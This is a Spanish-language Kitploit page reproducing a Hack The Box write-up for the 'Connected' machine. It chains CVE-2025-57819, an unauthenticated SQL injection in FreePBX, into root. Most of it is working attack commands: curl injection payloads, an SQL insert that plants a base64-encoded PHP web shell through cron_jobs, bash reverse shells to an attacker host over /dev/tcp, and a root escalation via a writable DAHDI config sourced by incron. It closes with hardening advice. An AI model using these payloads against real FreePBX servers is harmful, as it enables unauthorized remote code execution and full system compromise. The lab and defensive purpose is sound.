Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
FreePBX-SQLi-Exploit-Privilege-escalation — Este walkthrough documenta el compromiso completo de la máquina Connected de HTB. | Kitploit
Herramientas/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
Escalada de PrivilegiosAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

Este walkthrough documenta el compromiso completo de la máquina Connected de HTB.

Ver Repositorio
1hace 20 díasAún no revisado

FreePBX: De Inyección SQL No Autenticada a Shell Root

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 Resumen Ejecutivo

Este documento detalla el compromiso completo de la máquina HTB Connected.

La cadena de ataque comienza con una vulnerabilidad de inyección SQL no autenticada en FreePBX, que se aprovecha para obtener ejecución de código como el usuario asterisk mediante un trabajo cron manipulado. Un archivo de configuración con permisos de escritura combinado con un disparador incron permite entonces la escalada de privilegios a root.

Este caso demuestra cómo las vulnerabilidades de aplicaciones web, cuando se combinan con permisos locales débiles y automatización privilegiada insegura, pueden llevar al compromiso total del sistema.


🔍 Paso 1 – Enumeración y Descubrimiento de Host Virtual

Un escaneo rápido de puertos revela los puertos abiertos del objetivo:

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
PuertoServicio
22SSH
80HTTP
443HTTPS

Una inspección adicional muestra un servidor Apache ejecutando PHP 7.4, con una redirección HTTP a:

root@kitploit:~
http://connected.htb/

Para acceder correctamente al sitio, añade el mapeo del host virtual:

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

Navegando a http://connected.htb/ se revela:

root@kitploit:~
FreePBX 16.0.40.7

🕳️ Paso 2 – Explotando CVE-2025-57819 (Inyección SQL)

La investigación identifica CVE-2025-57819, una vulnerabilidad de inyección SQL basada en errores no autenticada en el componente Endpoint Manager de FreePBX.

Confirma la vulnerabilidad extrayendo el usuario de la base de datos:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

La respuesta contiene:

root@kitploit:~
~USER:freepbxuser@localhost~

Esto confirma que la inyección SQL funciona y que la aplicación se conecta a MySQL como:

root@kitploit:~
freepbxuser@localhost

⚙️ Paso 3 – Obteniendo Ejecución de Código mediante Tareas Programadas

FreePBX almacena los trabajos programados en la tabla cron_jobs.

Al inyectar una entrada maliciosa en esta tabla, se pueden programar comandos arbitrarios para su ejecución.

El siguiente payload crea un web shell PHP en la raíz web:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

El servidor devuelve un error genérico 500, pero la sentencia SQL se ejecuta correctamente.

Después de aproximadamente un minuto, verifica que el web shell se ha creado:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

Salida:

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Ahora tenemos ejecución de comandos como el usuario asterisk a través de peticiones HTTP.


💻 Paso 4 – Estableciendo una Reverse Shell Interactiva

Inicia un listener de Netcat en la máquina atacante:

root@kitploit:~
nc -lvnp 4444

Dispara una reverse shell de Bash a través del web shell:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

Se establece una conexión:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

Ahora tenemos una shell interactiva como el usuario asterisk.


🔎 Paso 5 – Enumeración Local y Ruta de Escalada de Privilegios

Busca archivos con permisos de escritura bajo /etc, excluyendo falsos positivos conocidos:

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

Un resultado notable es:

root@kitploit:~
/etc/dahdi/init.conf

A continuación, examina la configuración de incron:

root@kitploit:~
cat /etc/incron.d/*

Esto revela el siguiente vigilante de sistema de archivos:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Esto significa que cada vez que se escribe en el archivo centinela:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

se ejecuta el siguiente script:

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

Inspeccionando el script se revela que obtiene recursos de:

root@kitploit:~
/etc/dahdi/init.conf

Dado que /etc/dahdi/init.conf es escribible por el usuario asterisk y es utilizado por un proceso root, proporciona una vía para la ejecución arbitraria de comandos como root.


🚀 Paso 6 – Escalando a Root mediante DAHDI

Inicia un segundo listener de Netcat en el puerto 4445:

root@kitploit:~
nc -lvnp 4445

Desde la shell de asterisk, añade un payload de reverse shell al archivo de configuración escribible:

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

Dispara la acción de incron escribiendo en el archivo vigilado:

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

En cuestión de segundos, la shell root se conecta:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 ¡Acceso root completo conseguido!


🏁 Paso 7 – Capturando las Flags

Flag de Usuario

root@kitploit:~
cat /home/asterisk/user.txt

Salida:

root@kitploit:~
HTB{...user_flag...}

Flag de Root

root@kitploit:~
cat /root/root.txt

Salida:

root@kitploit:~
HTB{...root_flag...}

📚 Resumen de la Cadena de Ataque

root@kitploit:~
Inyección SQL No Autenticada
            │
            ▼
     Ejecución de Consulta MySQL
            │
            ▼
   Insertar Trabajo Cron Malicioso
            │
            ▼
      PHP Web Shell
            │
            ▼
      Shell asterisk
            │
            ▼
 /etc/dahdi/init.conf Escribible
            │
            ▼
       Disparador incron
            │
            ▼
      Ejecución de Comandos Root
            │
            ▼
          root

📊 Lecciones Aprendidas

VulnerabilidadImpacto
Inyección SQL No AutenticadaExpuso el contexto del usuario de la base de datos y proporcionó un punto de apoyo para escribir datos maliciosos
Inyección de Trabajos CronHabilitó la ejecución remota de código como una cuenta de servicio con privilegios bajos

🔐 Recomendaciones

1. Validar la Entrada del Usuario

Usa consultas parametrizadas y validación estricta de entrada para todas las operaciones de base de datos.

Nunca concatenes entrada controlada por el usuario directamente en consultas SQL.

2. Restringir los Permisos de los Archivos de Configuración

Los archivos de configuración consumidos por servicios privilegiados no deberían ser escribibles por cuentas de servicio con privilegios bajos.

En particular, revisa los permisos de los archivos bajo:

root@kitploit:~
/etc/

3. Revisar los Trabajos Cron e Incron

Audita regularmente las tareas programadas y los vigilantes del sistema de archivos.

Los trabajos privilegiados no deberían ejecutar comandos basados en archivos que usuarios no confiables puedan modificar.

4. Evitar Obtener Recursos de Configuración No Confiable

Los scripts propiedad de root deberían evitar obtener recursos de archivos de configuración que puedan ser modificados por usuarios sin privilegios.

5. Aplicar el Principio de Mínimo Privilegio

Las aplicaciones y servicios web deberían ejecutarse con los permisos mínimos necesarios para su funcionamiento.

Reducir los privilegios del entorno FreePBX/Apache puede limitar significativamente el impacto de un compromiso exitoso de la aplicación.


🏆 Cadena de Ataque Final

root@kitploit:~
CVE-2025-57819
      │
      ▼
Inyección SQL No Autenticada
      │
      ▼
Manipulación de la Tabla cron_jobs
      │
      ▼
PHP Web Shell Programado
      │
      ▼
Usuario asterisk
      │
      ▼
/etc/dahdi/init.conf Escribible
      │
      ▼
Vigilante de Archivos incron
      │
      ▼
Script DAHDI Privilegiado
      │
      ▼
Shell Root
      │
      ▼
🏆 Compromiso Total del Sistema

Aviso legal: Este informe tiene fines educativos y de pruebas de seguridad autorizadas, como los laboratorios de Hack The Box y entornos controlados.

Descargar herramienta
Archivo de Configuración Escribible + incronPermitió la escalada directa de privilegios a root
Script Privilegiado que Obtiene Recursos de Archivo Escribible por el UsuarioPermitió que comandos arbitrarios se ejecutaran con privilegios root